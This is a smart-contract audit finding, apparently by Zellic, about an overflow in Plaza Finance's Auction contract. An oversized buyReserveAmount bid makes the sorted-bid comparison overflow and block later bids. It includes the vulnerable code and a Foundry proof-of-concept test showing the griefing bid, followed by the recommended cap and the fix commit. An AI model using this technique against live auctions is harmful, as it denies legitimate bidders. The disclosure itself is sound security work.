Assessment reports>Programmable Derivatives>High findings>Huge bid could cause overflow in subsequent bids
Category: Coding Mistakes

Huge bid could cause overflow in subsequent bids

High Severity
High Impact
High Likelihood

Description

In Auction, insertSortedBid is called by the bid function to insert a new bid into the linked list of bids. Because there is no limit on the buyReserveAmount a bidder can bid, malicious bidders can set a buyReserveAmount as large as possible so that subsequent bids will fail due to overflow.

function insertSortedBid(uint256 newBidIndex) internal {
  // ...

  if (highestBidIndex == 0) {
    // First bid being inserted
    highestBidIndex = newBidIndex;
    lowestBidIndex = newBidIndex;
  } else {
    uint256 currentBidIndex = highestBidIndex;
    uint256 previousBidIndex = 0;

    // Traverse the linked list to find the correct spot for the new bid
    while (currentBidIndex != 0) {
      // ...
      leftSide = newSellCouponAmount * currentBuyReserveAmount;
      rightSide = currentSellCouponAmount * newBuyReserveAmount;

Impact

If an attacker bids with a value just below the overflow threshold, along with a one-slot--size coupon, any subsequent bids exceeding a two-slot size will fail due to the overflow.

The following proof-of-concept script demonstrates that a huge bid could cause an overflow in subsequent bids:

function testAuditAuctionBidOverflow() public {
    vm.prank(governance);
    _pool.setAuctionPeriod(10 days);

    vm.warp(block.timestamp + 95 days);
    _pool.startAuction();

    (uint256 currentPeriod,) = _pool.bondToken().globalPool();
    address auction = _pool.auctions(currentPeriod);
    Auction _auction = Auction(auction);

    Token usdc = Token(_pool.couponToken());

    vm.startPrank(bidder);
    uint256 initialBidAmount = 25000000000000000000;
    usdc.mint(bidder, initialBidAmount);
    usdc.approve(address(auction), initialBidAmount);
    // uint256 target_amount = type(uint256).max / 25000000000000000000;
    uint256 target_amount = type(uint256).max / initialBidAmount;

    _auction.bid(target_amount, 25000000000000000000);
    vm.stopPrank();

    vm.startPrank(user1);
    uint256 newBidderBid = 25000000000000000000 * 2;
    usdc.mint(user1, newBidderBid);
    usdc.approve(address(auction), newBidderBid);
    vm.expectRevert(stdError.arithmeticError);
    _auction.bid(1 ether, newBidderBid);
    vm.stopPrank();
}

Recommendations

Add a cap to the buyReserveAmount to prevent overflow in subsequent bids.

Remediation

This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit b5579924.

Zellic © 2025Back to top ↑